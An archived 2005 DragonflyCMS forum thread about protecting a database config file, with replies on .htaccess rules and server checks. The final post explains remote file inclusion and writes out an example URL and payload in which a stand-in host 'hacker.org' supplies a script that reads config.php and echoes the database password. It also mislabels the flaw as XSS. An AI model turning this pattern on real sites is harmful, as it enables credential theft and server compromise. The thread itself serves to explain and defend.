Home Private Messages Search
CPG Dragonfly™ CMS stopsoftwarepatents.eu petition banner
Toggle Content
 
Forums ⇒ CMS (All) ⇒ Security :: Archives ⇒ Database config file security (not strictly a CPG question) :: Archived


Database config file security (not strictly a CPG question) :: Archived
Post any security related questions in here.
Please send discovered reports to security @ cpgnuke.com
Do Not post links to exploits or hacker sites - your post will be edited/deleted.
If you think you've been hacked, FIRST go through your server logs.

Go to page 1, 2  Next
Post new topic    Revive this topic    Printer Friendly Page     Forum Index ⇒  Security

Topic Archived View previous topic :: View next topic  
Author Message
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Mon Apr 18, 2005 9:09 pm
Post subject: Database config file security (not strictly a CPG question)

[Yes, I admit it, this is not strictly a CPG/Dragonfly question but does impact indirectly on the security of my Dragonfly installation so I hope I'll be forgiven!]

In a nutshell, I need to install another app which accesses the same db as Dragonfly and I want to do what I can to make sure that it doesn't compromise the overall security of the current set up. Specifically I could do with some guidance as to what directory permissions and .htaccess contents I should use to protect the db config file for this new app.

If my current Dragonfly installation directory is

/public_html/

then the installation directory for the new app would be

/public_html/newapp

and the config file

/public_html/newapp/config.php

Advice on permissions for the file, the directory and the .htaccess file would be very much appreciated. Alternatively if someone can point me to a relevant resource instead that would also be great, thank you.

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
run0
Supporter
Supporter

Offline Offline
Joined: Jun 28, 2004
Posts: 1559

PostPosted: Mon Apr 18, 2005 9:47 pm
Post subject: Re: Database config file security (not strictly a CPG question)

how would it use the same db as dragonfly? it depends what the app is for permissions, you should go to the apps website for help

_________________


run0's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/1.3.33 (Unix)/4.0.22-standard/4.3.9/DF 9.x
Back to top
View user's profile Visit poster's website
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Mon Apr 18, 2005 10:27 pm
Post subject: Re: Database config file security (not strictly a CPG questi

Er...OK, so there's no generic advice which might apply to situations like this? i.e. a bare minimum of entries for the .htaccess file etc.? (I'm not suggesting that's the case, just double checking)

Thanks for your reply.

Cheers,

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
pcsmith_uk
Newbie
Newbie

Offline Offline
Joined: Feb 04, 2005
Posts: 22
Location: uk
PostPosted: Mon Apr 18, 2005 10:34 pm
Post subject: Re: Database config file security (not strictly a CPG question)

Why not keep your config file somewhere else on your filesystem (i.e. not public_html). Then just refer to it with the full path.

Alternatively, have a master config.php somewhere and create symlinks to it whenever you need to.

Usually though, apps have very different config.php files, unless you've specifically programmed it to use the same variable names.


pcsmith_uk's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
RHEL3/1.3.34/4.1.19/5.0.5/DF9.0.6.1
Back to top
View user's profile Visit poster's website MSN Messenger Yahoo Messenger
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Mon Apr 18, 2005 10:47 pm
Post subject: Re: Database config file security (not strictly a CPG questi

I'm sorry, I must be a little slow this evening, I'm not sure how that relates to my question? Thanks anyway.

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Tue Apr 19, 2005 12:14 pm
Post subject: Re: Database config file security (not strictly a CPG question)

We can't guarantee and do not know the security of that other script.
So we can't tell you what you must do.

Dragonfly security is dragonfly only so if that other script connects to the same database then the other script must be secure enough that someone can't access the Dragonfly CMS tables.

Also moving config.php outside the public_html is a useless action and doesn't improve security.

.htaccess doesn't have to be modified either unless that other script asks for it.
Then it still isn't a problem because the other script's .htaccess goes into the sub-directory.


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Tue Apr 19, 2005 12:40 pm
Post subject: Re: Database config file security (not strictly a CPG questi

Thanks for the reply but I'm afraid I may have somehow misrepresented the question I was trying to ask. I was simply looking for some guidance on what I should do to protect a file which includes a db name, username and password (regardless of whether this is the file used by Dragonfly, this app or any other). My apologies for the confusion. My fear is that somehow the config file used by this 3rd party app might be accessible in some way which would allow its contents to be read (and thus allow access to the db used by both the app and Dragonfly). This is a separate config file in a separate directory with its own .htaccess file.

No problem though, thanks all for taking the time to reply.

Cheers,

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
pcsmith_uk
Newbie
Newbie

Offline Offline
Joined: Feb 04, 2005
Posts: 22
Location: uk
PostPosted: Tue Apr 19, 2005 9:42 pm
Post subject: Re: Database config file security (not strictly a CPG question)

A .htaccess file isn't going to make any difference whatsoever.

What you've effectively asked, if you pardon my real-world example, is - If I had a door in my house, will anyone other than me open it?

You can never ever guarantee security, all you do is do your best to prevent unwanted eyes from seeing sensitive files.


pcsmith_uk's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
RHEL3/1.3.34/4.1.19/5.0.5/DF9.0.6.1
Back to top
View user's profile Visit poster's website MSN Messenger Yahoo Messenger
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Tue Apr 19, 2005 9:54 pm
Post subject: Re: Database config file security (not strictly a CPG questi

OK, I think I'm out of my depth here. I see from the Dragonfly .htaccess file the following and thought I might want to use something similar for the other (3rd party app) config file:

Quote::
# disable access to config.php and .ht* from a browser
<FilesMatch "^(config\.php|\.ht)">
Deny from all
</FilesMatch>

Regarding preventing others from seeing sensitive files that's exactly what I was trying to ask (i.e. how can I best do that for this file?), and how I should have phrased it originally!

Cheers,

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
pcsmith_uk
Newbie
Newbie

Offline Offline
Joined: Feb 04, 2005
Posts: 22
Location: uk
PostPosted: Tue Apr 19, 2005 10:19 pm
Post subject: Re: Database config file security (not strictly a CPG question)

According to Netcraft your host is pretty well up to date on patches: Apache/1.3.33 (Unix) mod_throttle/3.1.2 PHP/4.3.11 mod_ssl/2.8.22 OpenSSL/0.9.7a

If Apache is configured properly there should be no reason at all to fiddle about denying access to PHP scripts as it should handle requests for them in the appropriate manner.


pcsmith_uk's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
RHEL3/1.3.34/4.1.19/5.0.5/DF9.0.6.1
Back to top
View user's profile Visit poster's website MSN Messenger Yahoo Messenger
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Tue Apr 19, 2005 10:33 pm
Post subject: Re: Database config file security (not strictly a CPG questi

Understood, that's good news. Thanks!

Mac


macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
pcsmith_uk
Newbie
Newbie

Offline Offline
Joined: Feb 04, 2005
Posts: 22
Location: uk
PostPosted: Tue Apr 19, 2005 10:52 pm
Post subject: Re: Database config file security (not strictly a CPG question)

there's a whole whost of things you can do to check in case of security paranoia (which I think everyone suffers from ever now and again).

A very simple browser check:

view-source:www.yourhost.com/newapp/config.php

Or from shell:

wget www.yourhost.com/newapp/config.php

Of course these are the simplest tests on earth but they're always worth checking. I'm sure your host will have set up Apache properly to handle .php extensions.


pcsmith_uk's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
RHEL3/1.3.34/4.1.19/5.0.5/DF9.0.6.1
Back to top
View user's profile Visit poster's website MSN Messenger Yahoo Messenger
macavity
Heavy poster
Heavy poster

Offline Offline
Joined: Jun 23, 2004
Posts: 199

PostPosted: Tue Apr 19, 2005 11:10 pm
Post subject: Re: Database config file security (not strictly a CPG question)

Thanks for that! I'd rather check simple things than just assume they're OK too.

Cheers,

Mac

_________________
Note: WWW Private Listing - Staff Only

macavity's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
FreeBSD/Apache 2.0/MySQL 5.0.77/PHP 5.2.10/Dragonfly 9.2.1
Back to top
View user's profile
Jeruvy
Security Team
Security Team

Offline Offline
Joined: Apr 23, 2004
Posts: 1432
Location: Canada
PostPosted: Tue Apr 19, 2005 11:24 pm
Post subject: Re: Database config file security (not strictly a CPG question)

All I can add to this already confusing topic is make sure you are running a current version of mod_security on your apache server.

HTH,

_________________
J.
j e r u v y a t y a h o o d o t c o m

Need help? Look here: www.dragonflycms.org/W...d=112.html
Need to chat? Look for me on irc.freenode.net

Jeruvy's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Ubuntu7.10/Debian3.1 - 2.2.3/1.3.37 - 5.0.38/4.0.27 - 5.2.1/4.4.7 - CVS/9.1.2}
Back to top
View user's profile ICQ Number Yahoo Messenger Photo Gallery
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Wed Apr 20, 2005 12:25 am
Post subject: Re: Database config file security (not strictly a CPG questi

Ok i will tell some info about secure files.
There are several ways to secure a file:

1) Deny access thru .htaccess (Apache only)
2) Put the data in a serverside script (cgi, php, asp, etc.)
3) Don't put it on the server

Since #1 is apache only and #3 is not what you want they both are not the best solutions so the best way is #2.

If the server handles .php files (iow the PHP is "processed" and you don't see it like a .txt file) then we can use such file.
PHP:
<?php
// This data isn't echoed unless we want it to.
$db_password = "13456";

echo
$db_password; // BAD IDEA
?>

However this doesn't protect against overwrite
PHP:
<?php
include('config.php');
$db_password = "456789"; // overwrite

This doesn't do much it overwrites and probably denies access. But we do find a issue and that's called XSS (Cross Serverside Scripting).

For example your code isn't properly coded and does
PHP:
include("$name.php");

$name isn't checked AND register_globals is on/used (like in CPG-Nuke 8.x) AND allow_url_fopen is on in php.ini (default)
Then a url like "mydomain.com/index.php?name=http://hacker.org/script" will open the exploit
PHP:
$name = 'http://hacker.org/script';
include(
"$name.php");

The script.php contains
PHP:
include('config.php');
echo
$db_password;

Then it knows your DB password.
Most people don't think about creating a seperate DB user in the cPanel -> MySQL admin, they just use their FTP/cPanel login details.
This results in a immediate "owned" server and they can do whatever they want with the server.
So to prevent this from happening it's best you create a DB user and "hook" that user to your database, then setup config.php to this user
PHP:
$dbuser = 'mydomain_user';
$dbpassword = '!dbP@ssw0rd';
This way they only have access to the webspace (thru PHP) and the database (that's why daily backups are important)

However some people are more skilled and could destroy the complete server if they want to.

I hope this explains that config.php isn't realy a security issue but the complete script system itself is your main concern. Also your own skills to create a seperate DB login is the issue.


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
Display posts from previous:   
Post new topic    Revive this topic    Printer Friendly Page    Forum Index ⇒  Security
Page 1 of 2
All times are GMT
Go to page 1, 2  Next

Archive Revive
Username:
This is an archived topic - your reply will not be appended here.
Instead, a new topic will be generated in the active forum.
The new topic will provide a reference link to this archived topic.
 
   Toggle Content User Info

Welcome Anonymous

Nickname
Password
(Register)

   Toggle Content Last CVS commits
· Fixed .ico Expires header.
· Removed domain name from cookies so subdomains wont access them anymore.
· CSS and JS, case insensitives.
· CSS and JS, send correct HTTP 1.1 headers and fixed issues where themes and...
· Further security class improvements.
· 301 redirects on LEO changes
· Option to force 3xx http status codes
· Validate googlebot.com and google.com crawlers.
· CCBot
· Rss with etag and atom.

read more...

   Toggle Content Community

Support for DragonflyCMS in a other languages:

Deutsch
Español

   Toggle Content X-links
UltraEdit Browse Happy logo Firefox MySQL PostgreSQL Valid CSS! Valid XHTML 1.0! Unicode Encoded Badge NukeBiz Resources Raven DragonflyCMS Dedicated Now InsideSupport Lampe Berger

You are seeing squares or questionmarks on this page?

All content of this website is copyrighted by the Creative Commons NC-SA
The logos and trademarks used on this site are the property of their respective owners
We are not responsible for comments posted by our users, as they are the property of the poster.
Our server runs on a P3 1.2GHz with 512MB RAM with no accelerators
Support GoPHP5.org
Interactive software released under GNU GPL, Code Credits, Privacy Policy